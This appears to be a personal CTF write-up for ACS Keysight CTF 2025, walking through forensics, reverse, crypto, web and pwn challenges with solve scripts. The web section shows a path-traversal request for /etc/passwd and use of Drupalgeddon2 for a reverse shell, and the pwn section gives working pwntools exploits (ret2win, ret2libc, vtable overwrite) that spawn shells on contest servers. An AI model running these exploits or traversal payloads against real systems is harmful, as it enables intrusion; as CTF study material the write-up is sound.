ACS Keysight CTF 2025
ACS Keysight CTF 2025
Forensics
Damn Not Safe (75pts)
I opened the provided file with Wireshark and I noticed the hint from name dns.pcap
so I filtered the packets with dns
filter. I found a DNS query for CTF
.
After that I used tshark
to extract the DNS query and I found the flag in the DNS response.
1
2
3
4
5
6
7
8
9
10
11
$ tshark -r dns.pcap -Y "dns" -T fields -e ip.dst
65.67.83.95
75.69.89.83
73.71.72.84
95.67.84.70
123.95.77.97
107.101.95.68
78.83.95.71
114.101.97.116
95.65.103.97
105.110.95.125
I converted to characters and I got the flag.
Flag: ACS_KEYSIGHT_CTF{_Make_DNS_Great_Again_}
Racoon (100pts)
First, I uncompressed the gzipped file and I found it is a Minix filesystem
I mounted the Minix filesystem to access its contents
1
2
3
mkdir -p mnt
sudo mount -o loop ogden mnt
ls -la mnt
And I found 2 files banner (64 bytes) tavern (10 bytes)
The banner file appeared to be encrypted, starting with “Salted” which is indicative of OpenSSL encrypted content.
The tavern file contained the string “Snotspill”, which looked like it could be a password.
1
2
openssl enc -d -aes-256-cbc -in mnt/banner -out decoded -k Snotspill
cat decoded
Flag: ACS_KEYSIGHT_CTF{you_kill_uglies_get_banner}
Misc
Filter the flag (50pts)
I opened the provided file a I saw a HTTP request with some data embedded in it. I used CyberChef to decode the data and I found the arhive, I extracted and I got the flag.
Flag : ACS_IXIA_CTF{th1s_1s_4_w3ll_h1dd3n_1nf0}
Follow the Protocol (150pts)
I used 2 times Dirsearch
(firstly for /json and second for /json/version) and I found
1
2
3
4
5
6
7
# Dirsearch started Sun Apr 6 12:52:24 2025 as: /home/infernosalex/.local/bin/dirsearch -u http://vmx.cs.pub.ro:8899/json/
404 19B http://vmx.cs.pub.ro:8899/json/activate
200 2B http://vmx.cs.pub.ro:8899/json/list
405 83B http://vmx.cs.pub.ro:8899/json/new
200 433B http://vmx.cs.pub.ro:8899/json/version
200 402B http://vmx.cs.pub.ro:8899/json/version/
After that I used Burp Suite
to interact with the ws server
and /json/list endpoint
, I found the flag.
Flag : ACS_KEYSIGHT_CTF{screeshot_like_there_is_no_tomorrow}
Oracle (150pts)
I have a server which send us some random bits, until the hint released, I don’t have idea how to start, but after the hint tells it’s a cipher used in networking and it’s double of size of the original message, I started to think about Manchester
encoding. I just searched and ask AI to generate a script to decode the message.
It’s a Differential Manchester encoding
, to work I add an 01
at start to match with the first letter in flag which is A
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def to_differential_manchester(binary_string):
"""
Converts a binary string to Differential Manchester encoding.
Each bit is represented by two bits:
- 1 -> no transition at start, transition in middle
- 0 -> transition at start, transition in middle
"""
encoded = []
# Assume initial state is 1 (can also use 0 depending on convention)
current_state = 1
for bit in binary_string:
bit = int(bit)
if bit == 1:
# No transition at start, so output current + not current
encoded.append(str(current_state))
encoded.append(str(1 - current_state))
# Keep current_state the same
else:
# Transition at start, so flip current_state
current_state = 1 - current_state
encoded.append(str(current_state))
encoded.append(str(1 - current_state))
# After transition, current_state is already flipped
return ''.join(encoded)
def evaluate_bit_pairs(binary_sequence):
"""
Evaluates each set of consecutive bit pairs in the given binary string.
Outputs '1' if a pair is identical to the next one, otherwise '0'.
"""
output = []
# Iterate through the string two bits at a time, comparing each pair with the next
index = 0
while index + 3 < len(binary_sequence):
current = binary_sequence[index:index+2]
next_pair = binary_sequence[index+2:index+4]
# Append '1' if the pairs match, else '0'
output.append("1" if current == next_pair else "0")
index += 2
return ''.join(output)
encoded_data = "011010011001100101101001100110101001011010011010100101101010101010010110010110101001011001101001011010010101100101101001011001010110100110100110100101100110101010010110010110011001011010010110011010010101010101101001100110101001011010010110011010011001010110010101010110101001011001010110100101011001100101101010010101101001010101101001011010100110010101101010010110010110101010010110100101011010100101101001010101010110100101100101100101011010101010010101101010010110101001100110100101011010101001101001010101010110101001101010011010100101010101101010100110100110101010010110011010101010100101"
comparison_result = evaluate_bit_pairs(encoded_data)
flag = ''.join(chr(int(comparison_result[i:i+8], 2)) for i in range(0, len(comparison_result), 8))
print(flag)
Reverse
My Way (50pts)
I opened the provided file with IDA
and I found 3 functions main_main
, main.generateFibonacciKey
and main.encryptMessage
.
I saw how the encryptMessage
function works and tell to chatgpt to generate a reverse script.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import sys
def generate_fibonacci_key(n_fibs):
# Generate the first nfibs Fibonacci numbers and concatenate them into a string
fib = [0, 1]
for i in range(2, n_fibs):
fib.append(fib[-1] + fib[-2])
fib_str = ''.join(str(f) for f in fib)
return fib_str.encode() # full byte string
def try_decrypt(cipher_hex, key_length):
cipher_bytes = bytes.fromhex(cipher_hex)
iv = cipher_bytes[:16]
ciphertext = cipher_bytes[16:]
print(f"\n[] Trying AES-{key_length-8} with key length = {key_length} bytes")
full_key = generate_fibonacci_key(32) # generate a long enough key
key = full_key[:key_length] # slice to appropriate key size
print(f" [+] Key (hex): {key.hex()}")
print(f" [+] IV (hex): {iv.hex()}")
try:
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
plaintext = unpad(decrypted, AES.block_size)
print(f"\n✅ Decryption successful! Decrypted flag: {plaintext.decode()}")
return True
except ValueError as e:
print(f" [!] Decryption failed: {e}")
return False
if __name__ == "__main__":
cipher_hex = "6aa1ffb194e5383c6dcf7d7473be5738bc24156b3c90a30a561b1683f97f8798fe1817a888078b8a94e617fd09aaf908"
print("[*] Starting decryption attempt...")
# Try all valid AES key sizes
for key_len in [16, 24, 32]:
if try_decrypt(cipher_hex, key_len):
break
else:
print("\n❌ All attempts failed. Key might be wrong or ciphertext corrupted.")
I ran the script and I got the flag.
1
2
3
4
5
6
7
[*] Starting decryption attempt...
[] Trying AES-8 with key length = 16 bytes
[+] Key (hex): 30313132333538313332313334353538
[+] IV (hex): 6aa1ffb194e5383c6dcf7d7473be5738
✅ Decryption successful! Decrypted flag: {make_it_happen}
Flag: ACS_KEYSIGHT_CTF{make_it_happen}
(or possibly ACS_IXIA_CTF{make_it_happen}
— I’m not 100% sure on the prefix)
A Quiet Place (100pts)
After opening the binary in IDA, I noticed multiple syscall instructions in the main function. When reading the syscall numbers vertically, I recognized familiar constants separated by sleep calls: PI, E, and PHI.
After trying some combinations, I found the flag.
Flag : ACS_KEYSIGHT_CTF{pi_e_phi}
Red Black (100pts)
I loaded the ARM binary into IDA and noticed flag-like characters in memory. In section __const:0000000100007E80
, I saw the character I
, then A
appeared two addresses later, and so on. By reading each character this way, I reconstructed the flag.
Flag: ACS_IXIA_CTF{macleodXY}
Web
Hold the Door (100pts)
After hint released Hint! The PHP code can read Apache log files.
I tried to get a file from webserver with index.php?file=../../../../../../etc/passwd
and it worked, after that I just changed the file to index.php?file=../../../../../../home/ctf/flag
and I found the flag.
Flag : ACS_KEYSIGHT_CTF{you_got_the_power}
Hidden Treasure (250pts)
I saw how the folders name are generated and I tried to bruteforce with dates from 1990-2020
and I found a valid folder 3881326401041975
. The h1
tag is a hint for exploit to use Armageddon
and because on the /3881326401041975
folder I found a Drupal
, I used drupalgeddon2
to get a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3
import requests
import calendar
from datetime import datetime
# Same hash function as in JavaScript
def generate_name(s, seed=0):
h1 = 0xdeadbeef ^ seed
h2 = 0x41c6ce57 ^ seed
for i in range(len(s)):
ch = ord(s[i])
h1 = ((h1 ^ ch) * 2654435761) & 0xFFFFFFFF
h2 = ((h2 ^ ch) * 1597334677) & 0xFFFFFFFF
h1 = ((h1 ^ (h1 >> 16)) * 2246822507) & 0xFFFFFFFF
h1 = h1 ^ (((h2 ^ (h2 >> 13)) * 3266489909) & 0xFFFFFFFF)
h2 = ((h2 ^ (h2 >> 16)) * 2246822507) & 0xFFFFFFFF
h2 = h2 ^ (((h1 ^ (h1 >> 13)) * 3266489909) & 0xFFFFFFFF)
return 4294967296 * (2097151 & h2) + (h1 & 0xFFFFFFFF)
def check_date(day, month, year):
date_str = f"{day:02d}{month:02d}{year}"
folder_name = str(int(generate_name(date_str)))
base_url = "http://ctf-03.security.cs.pub.ro:8088/"
url = f"{base_url}{folder_name}/"
try:
response = requests.get(url, timeout=5)
status = response.status_code
if status != 404:
print(f"\nFOUND! Date: {date_str}, URL: {url}")
print(f"Content: {response.text[:500]}...")
return True, date_str, url, response.text
else:
# Only print every 10th date to reduce output
if (day % 10 == 0 and day > 0) or day == 1:
print(f"Date: {date_str}, Status: {status}")
except Exception as e:
print(f"Error checking {date_str}: {e}")
return False, None, None, None
start_year = 1990
end_year = 2020
found = False
print(f"Checking all dates from {start_year} to {end_year}...")
print("-" * 50)
start_time = datetime.now()
# For each year
for year in range(start_year, end_year + 1):
print(f"\nChecking year {year}...")
# For each month
for month in range(1, 13):
print(f"Checking {calendar.month_name[month]} {year}...")
# Get number of days in the month
num_days = calendar.monthrange(year, month)[1]
# For each day
for day in range(1, num_days + 1):
found, date_str, url, content = check_date(day, month, year)
if found:
end_time = datetime.now()
duration = end_time - start_time
print(f"\n============ TREASURE FOUND ============")
print(f"Date: {date_str}")
print(f"URL: {url}")
print(f"Search duration: {duration}")
print(f"============ CONTENT ============")
print(content[:1000]) # Print first 1000 characters
break
if found:
break
if found:
break
if not found:
end_time = datetime.now()
duration = end_time - start_time
print("\nNo valid folders found for any date between 1990 and 2020.")
print(f"Search duration: {duration}")
I got the reverse shell and I found the flag using Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - ‘Drupalgeddon2’ Remote Code Execution
Crypto
Ask and Receive (100pts)
For this challenge, I needed to reverse the LCG (Linear Congruential Generator) algorithm. I used a naive brute-force approach to recover the LCG parameters and extract the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
def get_next_lcg_byte(current, c, a):
return (a * current + c) % 257
def hex_to_bytes(hex_str):
return bytes.fromhex(hex_str)
def xor_decrypt(ciphertext, seed, a, c):
lcg_state = seed
plaintext = bytearray()
for byte in ciphertext:
keystream = get_next_lcg_byte(lcg_state, c, a)
lcg_state = keystream
plaintext.append(byte ^ (keystream % 256)) # Use lower byte
return plaintext
encrypted_hex = "e921925697ad331659e8c16618944895835febfce4d32d20e0b1614805b31cc2c90ca556a7c50f08619be17f17e2769ec25ab1bccd97412ca193"
cipher_bytes = hex_to_bytes(encrypted_hex)
# Try small values for seed, a, and c
for seed in range(256):
for a in range(1, 256):
for c in range(256):
decrypted = xor_decrypt(cipher_bytes, seed, a, c)
if b"CTF{" in decrypted:
print(f"[+] Found: {decrypted.decode(errors='ignore')}")
print(f"seed={seed}, a={a}, c={c}")
break
# ➜ ask-and-receive /bin/python3 /home/infernosalex/CTF/acs-ixia/2025/ask-and-receive/sovle.py
# [+] Found: ACS_IXIA_CTF{Fairi3s_w3ar_b00ts_and_y0u_g0t_t0_b3li3v3_m3}
# seed=157, a=17, c=69
Flag : ACS_IXIA_CTF{Fairi3s_w3ar_b00ts_and_y0u_g0t_t0_b3li3v3_m3}
Beep (75pts)
The first thing that came to mind was Morse code, since “beep” is usually a hint toward that. So, I asked ChatGPT to generate a script to decode Morse code based on the provided file.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
import itertools
import binascii
from collections import Counter
# Morse code dictionary
MORSE_CODE_DICT = { 'A':'.-', 'B':'-...',
'C':'-.-.', 'D':'-..', 'E':'.',
'F':'..-.', 'G':'--.', 'H':'....',
'I':'..', 'J':'.---', 'K':'-.-',
'L':'.-..', 'M':'--', 'N':'-.',
'O':'---', 'P':'.--.', 'Q':'--.-',
'R':'.-.', 'S':'...', 'T':'-',
'U':'..-', 'V':'...-', 'W':'.--',
'X':'-..-', 'Y':'-.--', 'Z':'--..',
'1':'.----', '2':'..---', '3':'...--',
'4':'....-', '5':'.....', '6':'-....',
'7':'--...', '8':'---..', '9':'----.',
'0':'-----', ', ':'--..--', '.':'.-.-.-',
'?':'..--..', '/':'-..-.', '-':'-....-',
'(':'-.--.', ')':'-.--.-', '_':'..--.-',
'!':'-.-.--', '{':'-.--.', '}':'-.--.-',
"'":'.----.', '@':'.--.-.', ':':'---...',
'=':'-...-', '+':'.-.-.', '"':'.-..-.'}
# Invert the Morse code dictionary for decoding
MORSE_CODE_REVERSE = {v: k for k, v in MORSE_CODE_DICT.items()}
def morse_to_text(morse):
try:
morse = morse.strip()
result = ''
# Split by word (typically 3 spaces in Morse)
for word in morse.split(' '):
for char in word.split(' '):
if char in MORSE_CODE_REVERSE:
result += MORSE_CODE_REVERSE[char]
elif char: # If not empty
result += '<?>'
result += ' '
return result.strip()
except Exception as e:
return f"Error: {e}"
def format_morse(morse):
# Clean up the Morse code
# Replace multiple spaces with a single space
while ' ' in morse:
morse = morse.replace(' ', ' ')
return morse
def systematic_decode(filename):
with open(filename, 'rb') as f:
data = f.read()
# Based on analysis, block size is 16 bytes
block_size = 16
blocks = [data[i:i+block_size] for i in range(0, len(data), block_size)]
# Get the unique blocks and sort by frequency
block_counter = Counter(blocks)
unique_blocks = [block for block, _ in block_counter.most_common()]
print(f"Found {len(unique_blocks)} unique blocks by frequency:")
for i, (block, count) in enumerate(block_counter.most_common()):
print(f"Block {i} ({count} times): {binascii.hexlify(block).decode()}")
morse_elements = ['.', '-', ' ']
print("\nTrying all permutations with frequency-ordered blocks:")
for perm in itertools.permutations(morse_elements):
# Create the mapping
morse_map = {
unique_blocks[0]: perm[0], # Most common block
unique_blocks[1]: perm[1], # Second most common
unique_blocks[2]: perm[2] # Third most common
}
# Convert blocks to Morse code
morse_message = ''.join(morse_map.get(block, '?') for block in blocks)
morse_message = format_morse(morse_message)
# Try to decode
decoded = morse_to_text(morse_message)
# Print the results with keywords highlighted
keywords = ['FLAG', 'CTF', 'IXIA', 'BEEP', 'ACS', 'THE']
contains_keyword = any(keyword in decoded for keyword in keywords)
if contains_keyword:
print("\n" + "=" * 80)
print(f"Mapping: {unique_blocks[0][:6]}... -> {perm[0]}, {unique_blocks[1][:6]}... -> {perm[1]}, {unique_blocks[2][:6]}... -> {perm[2]}")
print(f"Morse code excerpt: {morse_message[:50]}...")
print(f"Decoded: {decoded}")
print("CONTAINS KEYWORDS!")
# Extract flag if it exists
for keyword in keywords:
if keyword in decoded:
keyword_pos = decoded.find(keyword)
print(f"Found keyword '{keyword}' at position {keyword_pos}")
# Extract a probable flag (50 chars after keyword)
flag_excerpt = decoded[keyword_pos:keyword_pos+50]
print(f"Possible flag: {flag_excerpt}...")
print("=" * 80)
if __name__ == "__main__":
systematic_decode("encrypted.bin")
# ➜ beep python3 systematic_decode.py
# Found 3 unique blocks by frequency:
# Block 0 (97 times): aa383f06b759c27bdf35dbf37b4e00c6
# Block 1 (83 times): 4aa2c0e1b98c2e5c842cd2dbf0cf3137
# Block 2 (74 times): a6bfc0da8ab5c20daabc1cbca917c576
# Trying all permutations with frequency-ordered blocks:
# ================================================================================
# Mapping: b'\xaa8?\x06\xb7Y'... -> ., b'J\xa2\xc0\xe1\xb9\x8c'... -> , b'\xa6\xbf\xc0\xda\x8a\xb5'... -> -
# Morse code excerpt: --- --- --- --- .... .- .-. . -. - .-- . ... -. . ...
# Decoded: OOOOHARENTWESNEAAAAKYTHEFLAGISACSIXIACTFBEEDEBEDABBIDYBOODIBYDOO
# CONTAINS KEYWORDS!
# Found keyword 'FLAG' at position 24
# Possible flag: FLAGISACSIXIACTFBEEDEBEDABBIDYBOODIBYDOO...
# Found keyword 'CTF' at position 37
# Possible flag: CTFBEEDEBEDABBIDYBOODIBYDOO...
# Found keyword 'IXIA' at position 33
# Possible flag: IXIACTFBEEDEBEDABBIDYBOODIBYDOO...
# Found keyword 'ACS' at position 30
# Possible flag: ACSIXIACTFBEEDEBEDABBIDYBOODIBYDOO...
# Found keyword 'THE' at position 21
# Possible flag: THEFLAGISACSIXIACTFBEEDEBEDABBIDYBOODIBYDOO...
# ================================================================================
Flag : ACS_IXIA_CTF{BEEDEBEDABBIDYBOODIBYDOO}
Two Deadly Elusive Sorceresses (75pts)
I found some Base64 strings that hinted at 2DES, and I remembered that 2DES is vulnerable to a meet-in-the-middle attack. I used the provided script to brute-force the key. Since the same key is reused for both encryption and decryption, I applied the property: dec2(cipher) == enc1(plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
import base64
from Crypto.Cipher import DES
from tqdm import tqdm
# Base64 encoded ciphertexts
hint1_enc = "411w8UlTaz0EbWpzB2ktABCQc/DHWQ5Aosnd2LxxcQ0="
hint2_enc = "q57whMxGC0shO3zqjCFnaRaSdYsjLp9RZmgyYJ3CCx3Q3eomor47Uw=="
message_enc = "BuM8FjDNduZQ0AUwopdHzgzlhTv4nqAGatMg/Sot4suI7BNVlUxLTts6NYwNlXyykHEkf2KmyNs="
# Decode the base64 ciphertexts
hint1_bytes = base64.b64decode(hint1_enc)
hint2_bytes = base64.b64decode(hint2_enc)
message_bytes = base64.b64decode(message_enc)
# Function to adjust key parity for DES
def adjust_key_parity(key):
adjusted_key = bytearray(key)
for i in range(len(adjusted_key)):
bit_count = bin(adjusted_key[i]).count('1')
if bit_count % 2 == 0: # If even parity
adjusted_key[i] ^= 1 # Flip the LSB to get odd parity
return bytes(adjusted_key)
# Function to create a key with given 16-bit value
def create_key(val):
key = bytes([0, 0, 0, 0, 0, 0, (val >> 8) & 0xFF, val & 0xFF])
return adjust_key_parity(key)
# Function to decrypt with 2DES
def decrypt_2des(ciphertext, key1, key2):
cipher2 = DES.new(key2, DES.MODE_ECB)
intermediate = cipher2.decrypt(ciphertext)
cipher1 = DES.new(key1, DES.MODE_ECB)
return cipher1.decrypt(intermediate)
# Get the first block of ciphertext
ciphertext_block = hint1_bytes[:8]
# Try different potential first blocks of plaintext
potential_blocks = [
b"Examine ", # Most likely start of "Examine the task name carefully!"
b"hint1 : ",
b"Hint 1: ",
bytes([69, 120, 97, 109, 105, 110, 101, 32]), # "Examine " in ASCII
bytes([104, 105, 110, 116, 49, 32, 58, 32]), # "hint1 : " in ASCII
bytes([72, 105, 110, 116, 32, 49, 58, 32]) # "Hint 1: " in ASCII
]
# Build lookup tables for all potential blocks
lookups = {}
for block in potential_blocks:
lookups[block] = {}
print("Building lookup tables...")
for i in tqdm(range(2**16)):
key1 = create_key(i)
cipher1 = DES.new(key1, DES.MODE_ECB)
for block in potential_blocks:
try:
encrypted = cipher1.encrypt(block)
lookups[block][encrypted] = key1
except Exception:
continue
# Search for matches
print("Searching for matches...")
for i in tqdm(range(2**16)):
key2 = create_key(i)
cipher2 = DES.new(key2, DES.MODE_ECB)
try:
decrypted = cipher2.decrypt(ciphertext_block)
# Check against all lookup tables
for block in potential_blocks:
if decrypted in lookups[block]:
key1 = lookups[block][decrypted]
# Verify with full ciphertext
try:
decrypted_text = decrypt_2des(hint1_bytes, key1, key2)
text = decrypted_text.decode('utf-8', errors='ignore')
if "Examine" in text and "task name" in text:
print(f"Found keys!")
print(f"Key1: {key1.hex()}")
print(f"Key2: {key2.hex()}")
print(f"Decrypted hint1: {text}")
# Try decrypting hint2
decrypted_hint2 = decrypt_2des(hint2_bytes, key1, key2)
hint2_text = decrypted_hint2.decode('utf-8', errors='ignore')
print(f"Decrypted hint2: {hint2_text}")
# Decrypt the actual message
decrypted_message = decrypt_2des(message_bytes, key1, key2)
message_text = decrypted_message.decode('utf-8', errors='ignore')
print(f"Decrypted message: {message_text}")
exit(0)
except Exception:
pass
except Exception:
continue
print("No valid keys found. Trying alternative approach...")
# Alternative approach: direct brute force with fixed keys
for i in tqdm(range(2**16)):
key1_val = i
key1 = create_key(key1_val)
# Use the hint about 2DES = "two deadly elusive sorceresses"
# Try the hint2 prefix to narrow down faster
for j in range(2**16):
key2_val = j
key2 = create_key(key2_val)
try:
# Try to decrypt the hint1
decrypted = decrypt_2des(hint1_bytes, key1, key2)
text = decrypted.decode('utf-8', errors='ignore')
if "Examine" in text and "task name" in text:
print(f"Found keys with alternative approach!")
print(f"Key1: {key1.hex()}")
print(f"Key2: {key2.hex()}")
print(f"Decrypted hint1: {text}")
# Decrypt hint2
decrypted_hint2 = decrypt_2des(hint2_bytes, key1, key2)
hint2_text = decrypted_hint2.decode('utf-8', errors='ignore')
print(f"Decrypted hint2: {hint2_text}")
# Decrypt the actual message
decrypted_message = decrypt_2des(message_bytes, key1, key2)
message_text = decrypted_message.decode('utf-8', errors='ignore')
print(f"Decrypted message: {message_text}")
exit(0)
except Exception:
continue
print("No valid keys found.")
# ➜ 2025 /bin/python3 /home/infernosalex/CTF/acs-ixia/2025/two-deadly-elusive-sorceresses/solve_fixed.py
# Building lookup tables...
# 100%|█████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| 65536/65536 [00:01<00:00, 49736.63it/s]
# Searching for matches...
# 26%|████████████████████████████████████████████████████████▌ | 16776/65536 [00:00<00:00, 83951.31it/s]Found keys!
# Key1: 01010101010145fd
# Key2: 01010101010161c7
# Decrypted hint1: Examine the task name carefully!
# Decrypted hint2: ECB mode, keys zero until last 24 bits:)
# Decrypted message: ACS_IXIA_CTF{F0r_Th0s3_Ab0ut_T0_R0ck_W3_Salut3_Y0u!!!!!}
Flag: ACS_IXIA_CTF{F0r_Th0s3_Ab0ut_T0_R0ck_W3_Salut3_Y0u!!!!!}
Pwn
EZ32 (25pts)
I opened the provided file with IDA
and I saw that the program is a simple 32-bit
program which is vulnerable to ret2win
.
I used the script below to get the address of win
function and I used pwntools
to create the payload.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './ez'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=True)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
padding = 76
payload = flat(
b'A' * padding,
p32(0x080491A6)
)
# Save the payload to file
write('payload', payload)
# Send the payload
io.sendlineafter(b':', payload)
# Receive the flag
io.interactive()
I ran the script and I got the flag.
EZ64 (25pts)
It’s the same as the previous challenge, but the challenge is a 64-bit
program.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
'''.format(**locals())
# Set up pwntools for the correct architecture
exe = './ez_patched' # I used pwninit to get this
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=True)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
io = start()
padding = 72
ret = 0x000000000040101a # : ret
payload = flat(
b'A' * padding,
p64(ret), # for stack alignment
p64(0x04011b6)
)
# Save the payload to file
write('payload', payload)
# Send the payload
io.sendlineafter(b':', payload)
# Receive the flag
io.interactive()
Elven Godmother (100pts)
It’s just a classic ret2libc
32-bit. For the previous challenges I used a template, but for this I want to simplify the process.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
# context.log_level = "debug"
# context.terminal = ["tmux", "splitw", "-h"]
context.arch = "amd64"
exe = context.binary = ELF("./elven_godmother_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux.so.2")
# r = process("./elven_godmother_patched") # I used pwninit
# gdb.attach(r)
r = remote("ctf-03.security.cs.pub.ro", 31920)
payload = b"A" * 220
r.sendlineafter(b"What is your first name? ", payload)
payload = b"B" * 56
payload += p32(exe.plt['puts'])
payload += p32(exe.sym['main'])
payload += p32(exe.got['puts'])
r.sendlineafter(b"What is your last name? ", payload)
r.sendlineafter(b"What is your gender? (m/f)", b"m")
puts_leak = u32(r.recvline()[1:][:4])
log.success(f"puts : {hex(puts_leak)}")
libc.address = puts_leak - libc.sym['puts']
log.success(f"libc : {hex(libc.address)}")
# ➜ elven-godmother strings -tx libc.so.6 | grep /bin/sh
# 15f551 /bin/sh
binsh = libc.address + 0x15f551
payload = b"A" * 220
r.sendlineafter(b"What is your first name? ", payload)
payload = b"B" * 56
payload += p32(libc.sym['system'])
payload += p32(exe.sym['main'])
payload += p32(binsh)
r.sendlineafter(b"What is your last name? ", payload)
r.sendlineafter(b"What is your gender? (m/f)", b"m")
r.interactive()
Double Trouble (200pts)
For this challenge, I have a unintended solution, which was from a lucky guess.
Class War (300pts)
I analyze binary and I found this. In binary I have a function
1
2
3
4
__int64 __fastcall Executor::execute(Executor *this, const char *a2)
{
return system(a2);
}
So the idea it’s simpler than I thought, I just need to overwrite the sayHello function with this Executor and call system
with the command /bin/sh
and I will spawn a shell.
Solve script
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = "debug"
exe = context.binary = ELF("./class-war")
#r = process("./class-war")
#gdb.attach(r) # Attach GDB for debugging
r = remote("ctf-03.security.cs.pub.ro", 32334)
# .rodata:0000000000482068 ; `vtable for'Executor
# .rodata:0000000000482068 _ZTV8Executor dq 0 ; offset to this
# .rodata:0000000000482070 dq offset _ZTI8Executor ; `typeinfo for'Executor
# .rodata:0000000000482078 off_482078 dq offset _ZN8Executor7executeEPKc
# .rodata:0000000000482078 ; DATA XREF: Executor::Executor(void)+10↑o
# .rodata:0000000000482078 ; Executor::execute(char const*)
payload = b"\x78\x20\x48\x00\x00\x00\x00\x00yes"
r.sendlineafter(b"Do you want to continue?", payload)
r.sendlineafter(b"What is your name?", b"/bin/sh")
r.interactive()
#ACS_KEYSIGHT_CTF{The_wise_avoid_the_battle}
Flag: ACS_KEYSIGHT_CTF{The_wise_avoid_the_battle}
And that’s it for the writeup. I hope you enjoyed it and learned something new. If you have any questions or feedback, feel free to reach out. Happy hacking!